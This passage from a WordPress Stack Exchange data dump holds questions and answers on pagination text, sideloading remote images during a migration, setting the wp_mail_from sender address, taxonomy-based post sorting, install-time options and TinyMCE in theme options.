get_query_var( 'paged' ) : 1;&#xA;    echo 'Page ' . $page . ' of ' . $pages;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;NOTE:&lt;/strong&gt; Code can go into your functions file.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Simply call the function where you want to show the &quot;Page x of y&quot; message, eg.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php current_paged(); ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;If you need the code to work with a custom query, ie. one you've created using &lt;code&gt;WP_Query&lt;/code&gt;, then simply pass along the name of the variable that holds the query to the function.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Example non-existant query:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$fred = new WP_Query;&#xA;$fred-&amp;gt;query();&#xA;if( $fred-&amp;gt;have_posts() ) &#xA;... etc..&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Getting the current page for the custom query using the function posted earlier..&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php current_paged( 'fred' ); ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;If you want to just totally forget the custom query support and you're looking for a one-liner, then this should do it..&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php echo 'Page '. ( get_query_var('paged') ? get_query_var('paged') : 1 ) . ' of ' . $wp_query-&amp;gt;max_num_pages; ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Hope that helps.. :)&lt;/p&gt;&#xA;" OwnerUserId="1468" LastEditorUserId="1468" LastEditorDisplayName="" LastEditDate="2011-04-16T10:18:04.783" LastActivityDate="2011-04-16T10:18:04.783" CommentCount="2" />
  <row Id="12379" PostTypeId="1" AcceptedAnswerId="12382" CreationDate="2011-03-18T14:41:39.743" Score="4" ViewCount="345" Body="&lt;p&gt;I am involved in a large migration from another CMS to WordPress. We have a copy of the database and have worked out how to extract the content and programmatically create WordPress posts from it using an instantiation of the &lt;code&gt;wpdb&lt;/code&gt; class.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, there are a couple of thousand images which we would like to pull across automatically, generate the various sizes, and then attach to the posts, to save about a week's work!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there a way I can get an image from a remote site by URL and save it in my wp-uploads folder? I guess this uses &lt;code&gt;wp_http&lt;/code&gt; but I'm unfamiliar with that.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Once I've got the image and saved it I'm ok as I can then use &lt;code&gt;wp_generate_attachment_metadata&lt;/code&gt; to create the various sizes and &lt;code&gt;wp_insert_attachment&lt;/code&gt; to attach it to a post.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks&#xA;Simon&lt;/p&gt;&#xA;" OwnerUserId="2877" LastActivityDate="2011-08-09T20:50:13.843" Title="Programmatically get images by URL and save in uploads folder" Tags="&lt;images&gt;&lt;attachments&gt;&lt;post-thumbnails&gt;&lt;urls&gt;&lt;migration&gt;" AnswerCount="1" FavoriteCount="3" />
  <row Id="12380" PostTypeId="2" ParentId="12368" CreationDate="2011-03-18T14:48:14.090" Score="2" ViewCount="" Body="&lt;p&gt;There's a great plugin that does this for you called &lt;a href=&quot;http://wordpress.org/extend/plugins/send-from/&quot; rel=&quot;nofollow&quot;&gt;Send From&lt;/a&gt;. However, if you want to roll this yourself, it's dead simple. To change the email address add a filter on &lt;code&gt;'wp_mail_from'&lt;/code&gt; like so:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function just_use_my_email(){&#xA;  return 'my.email@domain.com';&#xA;}&#xA;&#xA;add_filter( 'wp_mail_from', 'just_use_my_email' );&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;And you can also change the sender's name using the &lt;code&gt;'wp_mail_from_name'&lt;/code&gt; filter like so (this is entirely optional):&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function just_use_my_email_name(){&#xA;  return 'My Real Name';&#xA;}&#xA;&#xA;add_filter( 'wp_mail_from_name', 'just_use_my_email_name' );&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Just swap the fake values for your real email address and you're good to go.&lt;/p&gt;&#xA;" OwnerUserId="11" LastActivityDate="2011-03-18T14:48:14.090" />
  <row Id="12381" PostTypeId="2" ParentId="12368" CreationDate="2011-03-18T14:48:24.207" Score="1" ViewCount="" Body="&lt;p&gt;here: &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;    //email from name function&#xA;function my_wp_mail_from_name($name) {&#xA;    return 'Name';&#xA;}&#xA;&#xA;//email from email function&#xA;function my_wp_mail_from($content_type) {&#xA;  return 'email@Domain.com';&#xA;}&#xA;&#xA;add_filter('wp_mail_from','my_wp_mail_from');&#xA;add_filter('wp_mail_from_name','my_wp_mail_from_name');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Change Name to the name you want and email@Domain.com to the email address you want.&#xA;but if you change the email address most anti span filter will block or spam your mail for spoofing. &lt;/p&gt;&#xA;" OwnerUserId="2487" LastActivityDate="2011-03-18T14:48:24.207" CommentCount="1" />
  <row Id="12382" PostTypeId="2" ParentId="12379" CreationDate="2011-03-18T14:56:41.197" Score="11" ViewCount="" Body="&lt;p&gt;There's actually a great function that will do all three of those things for you:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;media_sideload_image( $url, $post_id, $description );&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The first argument is the remote url of the image you want to download. The second argument is the post id of the post to which you want to attach the image. The third argument is optional, but will be a description if included.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'd suggest finding a way to throttle the downloads so that you don't keep timing out, such as limiting the number of images it pulls in per load and setting the importer to refresh itself between downloads, or using AJAX to do them one at a time asynchronously.&lt;/p&gt;&#xA;" OwnerUserId="11" LastActivityDate="2011-03-18T14:56:41.197" CommentCount="1" />
  <row Id="12383" PostTypeId="2" ParentId="11565" CreationDate="2011-03-18T15:04:24.350" Score="2" ViewCount="" Body="&lt;p&gt;You don’t have to declare the constructor public, just the action hook function.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Example:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;/*&#xA;Plugin Name: Singleton Action&#xA;*/&#xA;&#xA;class Singleton_Demo&#xA;{&#xA;    /**&#xA;     * @static $instance Objekt&#xA;     * @access private;&#xA;     */&#xA;    private static $_instance   = NULL;&#xA;&#xA;    protected function __construct() {}&#xA;    private final function __clone() {}&#xA;&#xA;    public static function getInstance()&#xA;    {&#xA;        if ( self::$_instance === NULL )&#xA;        {&#xA;            self::$_instance = new self;&#xA;        }&#xA;&#xA;        return self::$_instance;&#xA;    }&#xA;&#xA;    public function hook_test()&#xA;    {&#xA;        print '&amp;lt;p&amp;gt;Works!&amp;lt;/p&amp;gt;';&#xA;    }&#xA;}&#xA;&#xA;add_action( 'wp_footer', array ( Singleton_Demo::getInstance(), 'hook_test' ) );&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Anyway, I wouldn’t use a Singleton. :)&lt;/p&gt;&#xA;" OwnerUserId="73" LastActivityDate="2011-03-18T15:04:24.350" CommentCount="2" />
  <row Id="12384" PostTypeId="2" ParentId="12369" CreationDate="2011-03-18T15:10:08.507" Score="2" ViewCount="" Body="&lt;p&gt;try using this fancy function that group the posts by term id that &lt;a href=&quot;http://scribu.net/wordpress/sortable-taxonomy-columns.html&quot; rel=&quot;nofollow&quot;&gt;Scribu and Mike created&lt;/a&gt;:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function event_clauses( $clauses, $wp_query ) {&#xA;    global $wpdb;&#xA;&#xA;    if ( isset( $wp_query-&amp;gt;query['orderby'] ) &amp;amp;&amp;amp; 'event_location' == $wp_query-&amp;gt;query['orderby'] ) {&#xA;&#xA;        $clauses['join'] .=&amp;lt;&amp;lt;&amp;lt;SQL&#xA;LEFT OUTER JOIN {$wpdb-&amp;gt;term_relationships} ON {$wpdb-&amp;gt;posts}.ID={$wpdb-&amp;gt;term_relationships}.object_id&#xA;LEFT OUTER JOIN {$wpdb-&amp;gt;term_taxonomy} USING (term_taxonomy_id)&#xA;LEFT OUTER JOIN {$wpdb-&amp;gt;terms} USING (term_id)&#xA;SQL;&#xA;        $clauses['where'] .= &quot; AND (taxonomy = 'event_location' OR taxonomy IS NULL)&quot;;&#xA;        $clauses['groupby'] = &quot;object_id&quot;;&#xA;        $clauses['orderby']  = &quot;GROUP_CONCAT({$wpdb-&amp;gt;terms}.name ORDER BY name ASC) &quot;;&#xA;        $clauses['orderby'] .= ( 'ASC' == strtoupper( $wp_query-&amp;gt;get('order') ) ) ? 'ASC' : 'DESC';&#xA;    }&#xA;&#xA;    return $clauses;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;add to your args array &lt;code&gt;'orderby' =&amp;gt; 'event_location'&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;and before the query add&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt; add_filter( 'posts_clauses', 'event_clauses', 10, 2 );&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;after the query add &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;remove_filter( 'posts_clauses', 'event_clauses');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="2487" LastActivityDate="2011-03-18T15:10:08.507" CommentCount="6" />
  <row Id="12385" PostTypeId="2" ParentId="5806" CreationDate="2011-03-18T15:13:16.273" Score="2" ViewCount="" Body="&lt;p&gt;Look how I did it in my plugin &lt;a href=&quot;https://github.com/toscho/Germanix-WordPress-Plugin/blob/master/germanix_url.php&quot; rel=&quot;nofollow&quot;&gt;Germanix URL&lt;/a&gt;. I hook into &lt;code&gt;'sanitize_file_name'&lt;/code&gt;, convert what I need and strip anything else. This way, the file gets through, but the filename is valid.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I think this is the best possible user experience: No data is lost and no time, and no irritating error message pops up.&lt;/p&gt;&#xA;" OwnerUserId="73" LastActivityDate="2011-03-18T15:13:16.273" />
  <row Id="12387" PostTypeId="2" ParentId="12368" CreationDate="2011-03-18T15:17:11.680" Score="10" ViewCount="" Body="&lt;p&gt;I use a very similar approach like John P Bloch and Bainternet, just a little bit more flexible, so I don’t have to change the mail address for any client:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php # -*- coding: utf-8 -*-&#xA;/*&#xA;Plugin Name: Filter System From Mail&#xA;Description: Sets the WP from mail address to the first admin’s mail and the from name to blog name.&#xA;Version:     1.1&#xA;Author:      Thomas Scholz&#xA;Author URI:  http://toscho.de&#xA;License:     GPL&#xA;*/&#xA;&#xA;if ( ! function_exists( 'filter_system_from_mail' ) )&#xA;{&#xA;    /**&#xA;     * First admin's e-mail address or blog name depending on current filter.&#xA;     *&#xA;     * @return string&#xA;     */&#xA;    function filter_system_from_mail()&#xA;    {&#xA;        return get_option( 'wp_mail_from' == current_filter()&#xA;            ? 'admin_email' : 'blogname' );&#xA;    }&#xA;&#xA;    add_filter( 'wp_mail_from',      'filter_system_from_mail' );&#xA;    add_filter( 'wp_mail_from_name', 'filter_system_from_mail' );&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="73" LastActivityDate="2011-03-18T15:17:11.680" CommentCount="1" />
  <row Id="12388" PostTypeId="2" ParentId="8103" CreationDate="2011-03-18T15:20:01.507" Score="0" ViewCount="" Body="&lt;p&gt;&lt;a href=&quot;http://wordpress.org/extend/plugins/visual-code-editor/&quot; rel=&quot;nofollow&quot;&gt;http://wordpress.org/extend/plugins/visual-code-editor/&lt;/a&gt; prevents the code wrangling:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;first put the sourcecode tags, then mark it as pre, then copy your code in between, it will not HTML encode the stuff.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So you do not have disable your Visual Editor anymore.&lt;/p&gt;&#xA;" OwnerUserId="576" LastActivityDate="2011-03-18T15:20:01.507" />
  <row Id="12389" PostTypeId="1" AcceptedAnswerId="12393" CreationDate="2011-03-18T15:20:33.627" Score="2" ViewCount="74" Body="&lt;p&gt;I'm just doing some wordpress development and wondered for a brand new install, which code within core is generating the first value that get's filled into the &lt;code&gt;home&lt;/code&gt; option?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm looking for the code in core, e.g. the filename and the line where this happens.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Does someone remembers from mind?&lt;/p&gt;&#xA;" OwnerUserId="178" LastActivityDate="2011-03-18T16:15:34.243" Title="On Install, which code sets the 'home' option?" Tags="&lt;development&gt;&lt;setup&gt;&lt;home&gt;&lt;options&gt;&lt;install&gt;" AnswerCount="1" FavoriteCount="1" />
  <row Id="12390" PostTypeId="1" CreationDate="2011-03-18T15:23:54.300" Score="0" ViewCount="108" Body="&lt;p&gt;I recently started working with a client who has over 400 pages on their WP site (yes, pages, not posts). Their menu needs to be redone, so I decided to go the 'custom menus' route. However, not more than a third of the pages are available to select from the 'Pages' meta box on the Menus page. And 'search' does not seem to work (typing in the page title, even of pages that do show in the box, results in 'No results found' message.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In short, some of the pages I need to add to the menu are not available for me to select. What's up with this? And how do I solve it?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also, if I select on-site pages as 'custom links', will WP still add classes to the links to indicate they are 'current page' or 'current page ancestor'? &lt;/p&gt;&#xA;" OwnerUserId="30" LastEditorUserId="30" LastEditorDisplayName="" LastEditDate="2011-03-18T15:42:40.687" LastActivityDate="2011-03-18T15:42:40.687" Title="Is there a limit to number of pages displayed for selection in custom menu?" Tags="&lt;custom-menus&gt;&lt;menus&gt;" CommentCount="1" />
  <row Id="12391" PostTypeId="2" ParentId="12310" CreationDate="2011-03-18T15:51:27.283" Score="1" ViewCount="" Body="&lt;p&gt;I got some help from Wordpress forum. As of Wordpress 3.1 &lt;a href=&quot;http://codex.wordpress.org/Function_Reference/comment_form&quot; rel=&quot;nofollow&quot;&gt;a function called&lt;/a&gt; &lt;code&gt;comment_form()&lt;/code&gt; creates the submit comment area. You can override default settings by creating an argument list and passing it in as a parameter. Here is a quick example where I change the default header &lt;strong&gt;Reply&lt;/strong&gt; to &lt;strong&gt;Comment&lt;/strong&gt; and then remove the &lt;strong&gt;acceptable tags&lt;/strong&gt; section at bottom of form.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$comments_settings = array(                                                &#xA;    'title_reply' =&amp;gt; 'Comment',&#xA;    'comment_notes_after' =&amp;gt; ''&#xA;);&#xA;&#xA;comment_form($comments_settings);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="4013" LastActivityDate="2011-03-18T15:51:27.283" />
  <row Id="12392" PostTypeId="1" AcceptedAnswerId="12418" CreationDate="2011-03-18T16:03:06.227" Score="0" ViewCount="111" Body="&lt;p&gt;I'm deploying a multi-site network, using subfolders. I've found on the main site the permalinks for news posts can only be placed like so:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;/blog/%year%/%monthnum%/%postname%/&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I understand that this prefix is needed to lessen the risk of conflict between the main site and sub-sites. Unfortunately this is a serious website, where the word 'blog' isn't really appropriate. Something like &lt;code&gt;/pressreleases&lt;/code&gt; would be much more appropriate, and still avoid conflicts.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I tried various of the 'tricks' people mention, such as editing the permalink structure from the network admin settings. I also tried using rewrite rules (both Apache and the Redirection plugin) without much luck. WordPress needs to believe the posts are at the location in the address bar, so rewriting results in a 404. I could redirect them back to &lt;code&gt;/blog&lt;/code&gt;, but that still has the same problem.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How can I change the permalinks?&lt;/p&gt;&#xA;" OwnerUserId="3828" LastActivityDate="2011-03-18T20:49:16.740" Title="Multi-site: removing /blog from posts" Tags="&lt;multisite&gt;&lt;permalinks&gt;&lt;posts&gt;" AnswerCount="1" FavoriteCount="1" />
  <row Id="12393" PostTypeId="2" ParentId="12389" CreationDate="2011-03-18T16:15:34.243" Score="6" ViewCount="" Body="&lt;p&gt;When the installer runs it calls &lt;code&gt;wp_install()&lt;/code&gt;, that in turn calls &lt;code&gt;populate_options()&lt;/code&gt; defined in &lt;code&gt;wp-admin/includes/schema.php&lt;/code&gt;, which runs the following..&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;if ( !__get_option('home') ) update_option('home', $guessurl);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Prior to that &lt;code&gt;$guessurl&lt;/code&gt; is defined by..&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$guessurl = wp_guess_url();&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The guess URL function is defined in &lt;code&gt;wp-includes/functions.php&lt;/code&gt; and looks like this.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function wp_guess_url() {&#xA;    if ( defined('WP_SITEURL') &amp;amp;&amp;amp; '' != WP_SITEURL ) {&#xA;        $url = WP_SITEURL;&#xA;    } else {&#xA;        $schema = is_ssl() ? 'https://' : 'http://';&#xA;        $url = preg_replace('|/wp-admin/.*|i', '', $schema . $_SERVER['HTTP_HOST'] . $_SERVER['REQUEST_URI']);&#xA;    }&#xA;    return rtrim($url, '/');&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;wp_install()&lt;br&gt;&#xA;&lt;a href=&quot;http://core.trac.wordpress.org/browser/tags/3.1/wp-admin/includes/upgrade.php#L22&quot; rel=&quot;nofollow&quot;&gt;http://core.trac.wordpress.org/browser/tags/3.1/wp-admin/includes/upgrade.php#L22&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;populate_options()&lt;br&gt;&#xA;&lt;a href=&quot;http://core.trac.wordpress.org/browser/tags/3.1/wp-admin/includes/schema.php#L177&quot; rel=&quot;nofollow&quot;&gt;http://core.trac.wordpress.org/browser/tags/3.1/wp-admin/includes/schema.php#L177&lt;/a&gt;  &lt;/li&gt;&#xA;&lt;li&gt;guess_url()&lt;br&gt;&#xA;&lt;a href=&quot;http://core.trac.wordpress.org/browser/tags/3.1/wp-includes/functions.php#L3585&quot; rel=&quot;nofollow&quot;&gt;http://core.trac.wordpress.org/browser/tags/3.1/wp-includes/functions.php#L3585&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Hope that's the info you're looking for... :)&lt;/p&gt;&#xA;" OwnerUserId="1468" LastActivityDate="2011-03-18T16:15:34.243" CommentCount="6" />
  <row Id="12394" PostTypeId="1" CreationDate="2011-03-18T16:25:04.387" Score="0" ViewCount="151" Body="&lt;p&gt;&lt;a href=&quot;http://diovo.com/2009/10/using-sessions-in-wordpress/&quot; rel=&quot;nofollow&quot;&gt;http://diovo.com/2009/10/using-sessions-in-wordpress/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is working on one blog,but not on other,what could be the problem? How to find what is a problem?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Tnx in advance&lt;/p&gt;&#xA;" OwnerUserId="1147" LastEditorUserId="251" LastEditorDisplayName="" LastEditDate="2011-03-19T00:03:51.853" LastActivityDate="2011-03-19T00:03:51.853" Title="WordPress - using sessions?" Tags="&lt;functions&gt;&lt;3.1&gt;" AnswerCount="1" CommentCount="5" />
  <row Id="12395" PostTypeId="1" CreationDate="2011-03-18T16:51:34.140" Score="0" ViewCount="190" Body="&lt;p&gt;Here's my problem I need help with:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I currently have a theme options panel that had a textarea, that on save, the options were saved to the database. Everything worked great! The client needs the TinyMCE editor to edit the content in this textarea, so we've included it as below.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The problem we're having is that on save, the content entered in TinyMCE is not being saved. If we change the 'std' key in the options array to 'dummy content', for example, on save, any content entered is not saved and the default text shows up. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any thoughts or advice on this is much appreciated!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;Note that for brevity, I've changed some variable names&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In our admin-options.php file, we've got&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;array(&quot;name&quot; =&amp;gt; &quot;Homepage Content Editor&quot;,&#xA;    &quot;desc&quot; =&amp;gt; &quot;The text you enter here will appear on the homepage&quot;,&#xA;    &quot;id&quot; =&amp;gt;  &quot;qe2_content&quot;,&#xA;    &quot;type&quot; =&amp;gt; &quot;frontpage_content_editor&quot;,&#xA;    &quot;std&quot; =&amp;gt; ''),&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;In our admin-interface.php file, we've got&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;case 'frontpage_content_editor':&#xA;?&amp;gt;&#xA;&amp;lt;tr&amp;gt;&#xA;&amp;lt;td width=&quot;20%&quot;&amp;gt;&amp;lt;strong&amp;gt;Homepage Content Editor&amp;lt;/strong&amp;gt;&amp;lt;/td&amp;gt;&#xA;&amp;lt;td width=&quot;80%&quot;&amp;gt;&amp;lt;div id=&quot;poststuff&quot;&amp;gt;&amp;lt;div id=&quot;post-body&quot;&amp;gt;&amp;lt;div id=&quot;post-body-content&quot;&amp;gt;&amp;lt;div class=&quot;postarea&quot; id=&quot;postdivrich&quot;&amp;gt;&#xA;&#xA;&amp;lt;?php&#xA;$the_editor_content = ( get_settings( $value['id'] ) != &quot;&quot;) ? get_settings( $value['id'] ) : $value['std'] ;  &#xA;$the_editor_content = stripslashes($the_editor_content);&#xA;the_editor($the_editor_content); &#xA;?&amp;gt;&#xA;&#xA;&amp;lt;table id=&quot;post-status-info&quot; cellspacing=&quot;0&quot;&amp;gt;&#xA;    &amp;lt;tbody&amp;gt;&amp;lt;tr&amp;gt;&#xA;    &amp;lt;td&amp;gt;&amp;amp;nbsp;&amp;lt;/td&amp;gt;&#xA;    &amp;lt;td&amp;gt;&amp;amp;nbsp;&amp;lt;/td&amp;gt;&#xA;    &amp;lt;/tr&amp;gt;&amp;lt;/tbody&amp;gt;&#xA;&amp;lt;/table&amp;gt;&#xA;&amp;lt;/div&amp;gt;&amp;lt;/div&amp;gt;&amp;lt;/div&amp;gt;&amp;lt;/div&amp;gt;&#xA;&amp;lt;/td&amp;gt;&amp;lt;/td&amp;gt;&amp;lt;/tr&amp;gt;&#xA;&#xA;&amp;lt;?php &#xA;&#xA;break;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;We're displaying this is the home.php template file like so&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$content = stripslashes($qe2_content); $qe2_content = do_shortcode($qe2_content);&#xA;$qe2_content = apply_filters('the_content', $qe2_content);&#xA;echo $content;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;We're loading the following scripts to support TinyMCE&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function centerdrive_admin_tinymce() {&#xA;    wp_enqueue_script('word-count');&#xA;    wp_enqueue_script('post');&#xA;    wp_enqueue_script( 'common' );&#xA;    wp_print_scripts('editor');&#xA;    if (function_exists('add_thickbox')) add_thickbox();&#xA;    wp_print_scripts('media-upload');&#xA;    if (function_exists('wp_tiny_mce')) wp_tiny_mce();&#xA;    wp_admin_css();&#xA;    wp_enqueue_script('utils');&#xA;}&#xA;&#xA;add_filter('admin_head', 'centerdrive_admin_tinymce');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="1765" LastActivityDate="2011-03-18T16:51:34.140" Title="TinyMCE content not being saved in Theme Options Panel" Tags="&lt;tinymce&gt;&lt;theme-options&gt;" CommentCount="2" />
  <row Id="12396" PostTypeId="1" CreationDate="2011-03-18T17:00:41.890" Score="1" ViewCount="330" Body="&lt;p&gt;Hey guys, I'm building a portfolio (which is a custom post type) and I want to store the date of the projects. I can achieve it the &quot;regular&quot; way with a meta box but I would like a &lt;a href=&quot;http://marcgrabanski.com/articles/jquery-ui-datepicker&quot; rel=&quot;nofollow&quot;&gt;&quot;datepicker&quot;&lt;/a&gt; or something like it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any idea how?&lt;/p&gt;&#xA;" OwnerUserId="3991" LastEditorUserId="3991" LastEditorDisplayName="" LastEditDate="2011-03-18T17:25:31.853" LastActivityDate="2011-04-17T17:40:38.607" Title="How to add a &quot;custom&quot; date field to a custom post type?" Tags="&lt;custom-post-types&gt;&lt;metabox&gt;" AnswerCount="1" FavoriteCount="1" />
  <row Id="12397" PostTypeId="2" ParentId="12394" CreationDate="2011-03-18T17:12:33.107" Score="1" ViewCount="" Body="&lt;p&gt;It's probably better to add your &lt;code&gt;session_start();&lt;/code&gt; to the top of your header.php file if you're planning to use it in your theme.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you are wanting to use a session in the admin, I'd recommend either passing variables through &lt;code&gt;$_GET&lt;/code&gt; or &lt;code&gt;$_POST&lt;/code&gt;.  Also, if you need long term storage of variables, it's pretty easy to store things in the options table.  See the &lt;a href=&quot;http://codex.wordpress.org/Settings_API&quot; rel=&quot;nofollow&quot;&gt;Settings API&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="1511" LastActivityDate="2011-03-18T17:12:33.107" CommentCount="2" />
  <row Id="12398" PostTypeId="2" ParentId="12396" CreationDate="2011-03-18T17:15:27.837" Score="1" ViewCount="" Body="&lt;p&gt;You want the easy way? Install the 'More Fields' plugin and create your custom field using that. One of the field types is a datepicker: select that when creating the custom field and you've got a datepicker.&lt;/p&gt;&#xA;" OwnerUserId="30" LastActivityDate="2011-03-18T17:15:27.837" CommentCount="4" />
  <row Id="12399" PostTypeId="1" CreationDate="2011-03-18T17:24:49.240" Score="0" ViewCount="15" Body="&lt;p&gt;I read this: &lt;a href=&quot;http://wordpress.stackexchange.com/questions/6267/specific-and-different-ads-for-each-post&quot;&gt;Specific and Different Ads for each Post?&lt;/a&gt; and I saw somewhere a button &quot;your ad next to this article?&quot; which seemed funny.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there a plugin which does a simple &quot;your ad next to THIS article?&quot; with fully automated payment etc...? I don't have much time so I would to leave it completely on autorun and see the money rolling in (grin). I looked through the plugin directory searching on &quot;ads&quot; and &quot;automated&quot; but could not directly detect it although it probably exists.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;{p.s. I can probably write this myself but to shortcut time and maintenance I wondered if there is a plugin which basically does this automated, so no zones I need to places myself or ad servers extensions etc... just a plain simple plugin with basic functionality for my private blog for just 1 block and only for posts no google ads etc... support needed. Payment via Paypal}&lt;/p&gt;&#xA;" OwnerUserId="576" LastActivityDate="2011-03-18T17:24:49.240" Title="Plugin Search Ads next to post" Tags="&lt;plugin-recommendation&gt;&lt;ads&gt;" />
  <row Id="12400" PostTypeId="1" AcceptedAnswerId="12453" CreationDate="2011-03-18T17:40:25.897" Score="0" ViewCount="137" Body="&lt;p&gt;I've been racking my brains for the best way to create a simple gallery in Wordpress without relying on a plugin like NextGen gallery, and was thinking a shortcode would be a good way combined with the in-built method of 'attaching' images to a post. That way, the user would 'attach' images they've uploaded and the description for the image could be used as a caption.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;That was, until I realised that there's no easy way to 'unattach' an image from a post unless you delete the image itself (meaning it disappears from other posts/pages you've inserted it into). Plus, it doesn't let you link the images to different parts of your site.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So I'm now thinking Custom Fields or some other method involving a shortcode or hardcoding an area in my template might be a good way to do it, but the problem is how to associate the various parts of the gallery for each image:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;the image url&lt;/li&gt;&#xA;&lt;li&gt;the image dimensions&lt;/li&gt;&#xA;&lt;li&gt;the link wrapping the image&lt;/li&gt;&#xA;&lt;li&gt;the order of the images&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;The HTML I'd need to output for each image would be this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;a href=&quot;-LINK_TO_PAGE_HERE-&quot; title=&quot;caption&quot; alt=&quot;description&quot;&amp;gt;&#xA;  &amp;lt;img src=&quot;-URL_TO_IMAGE-&quot; width=&quot;x&quot; height=&quot;y&quot; /&amp;gt;&#xA;&amp;lt;/a&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;And then I'd wrap that in a div like &lt;code&gt;&amp;lt;div id=&quot;osu-gallery&quot;&amp;gt;...&amp;lt;/div&amp;gt;&lt;/code&gt; so I could do what I wish with it in 